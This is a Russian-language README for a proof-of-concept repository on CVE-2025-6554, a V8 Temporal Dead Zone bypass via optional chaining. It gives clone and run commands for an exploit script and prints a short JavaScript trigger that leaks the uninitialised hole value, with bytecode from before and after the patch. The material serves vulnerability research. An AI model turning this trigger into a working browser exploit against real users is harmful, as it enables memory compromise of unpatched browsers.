
CVE-2025-6554 PoC
⚠️ Исследовательский проект по безопасности - Данный проект предназначен только для исследовательских и образовательных целей. Не используйте в производственной среде.
CVE-2025-6554 — это критическая уязвимость в движке V8 от Chrome, связанная с механизмом проверки "Temporal Dead Zone" (TDZ) в JavaScript. Данный проект предоставляет полный код подтверждения концепции уязвимости и инструменты для демонстрации.
Уязвимость существует при обработке оператора опциональной цепочки (?.) в движке V8: не выполняется корректная проверка инициализации переменной, что позволяет получить доступ к необъявленным переменным, обходя механизм защиты TDZ.
git clone https://github.com/9Insomnie/CVE-2025-6554.git
cd CVE-2025-6554
CVE-2025-6554/
├── Exploit.js # Оригинальный код эксплойта
├── Test-Exploit.js # Тестовая версия
├── poc.html # Файл обнаружения
├── README.md # Описание проекта
└── 使用说明.md # Подробное руководство
# Использование отладчика d8 V8
c:\path\to\v8\out\x64.debug\d8 --allow-natives-syntax --print-bytecode Exploit.js
# Запуск тестовой версии
node Test-Exploit.js
# Или запуск оригинального кода эксплойта
node Exploit.js
Откройте HTML-файл непосредственно в браузере (требуется поддержка соответствующих функций).
function leak_hole() {
let x;
delete x?.[y]?.a; // использование необъявленной переменной y
return y; // должно вызывать ReferenceError
let y; // y объявляется здесь
}
До патча:
0x32600100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
После патча:
0x29f00100133 @ 11 : b6 00 ThrowReferenceErrorIfHole [0]
0x29f00100144 @ 28 : b6 00 ThrowReferenceErrorIfHole [0] // новая проверка
delete x?.[y]?.a# Проверка наличия уязвимости
node Test-Exploit.js
# Просмотр детального байт-кода
d8 --allow-natives-syntax --print-bytecode Exploit.js
Данная уязвимость была обнаружена исследователями безопасности и связана с механизмом проверки TDZ в движке V8. Используя оператор опциональной цепочки, атакующий может обойти проверку инициализации переменной и получить контроль над памятью.
Этот проект распространяется под лицензией MIT - подробности см. в файле LICENSE.
⚠️ Отказ от ответственности: Данный проект предназначен только для исследовательских и образовательных целей. Пользователь принимает на себя все риски, автор не несет юридической ответственности.
🔒 Сообщение о безопасности: Если вы обнаружили новые проблемы безопасности, свяжитесь через GitHub Issues.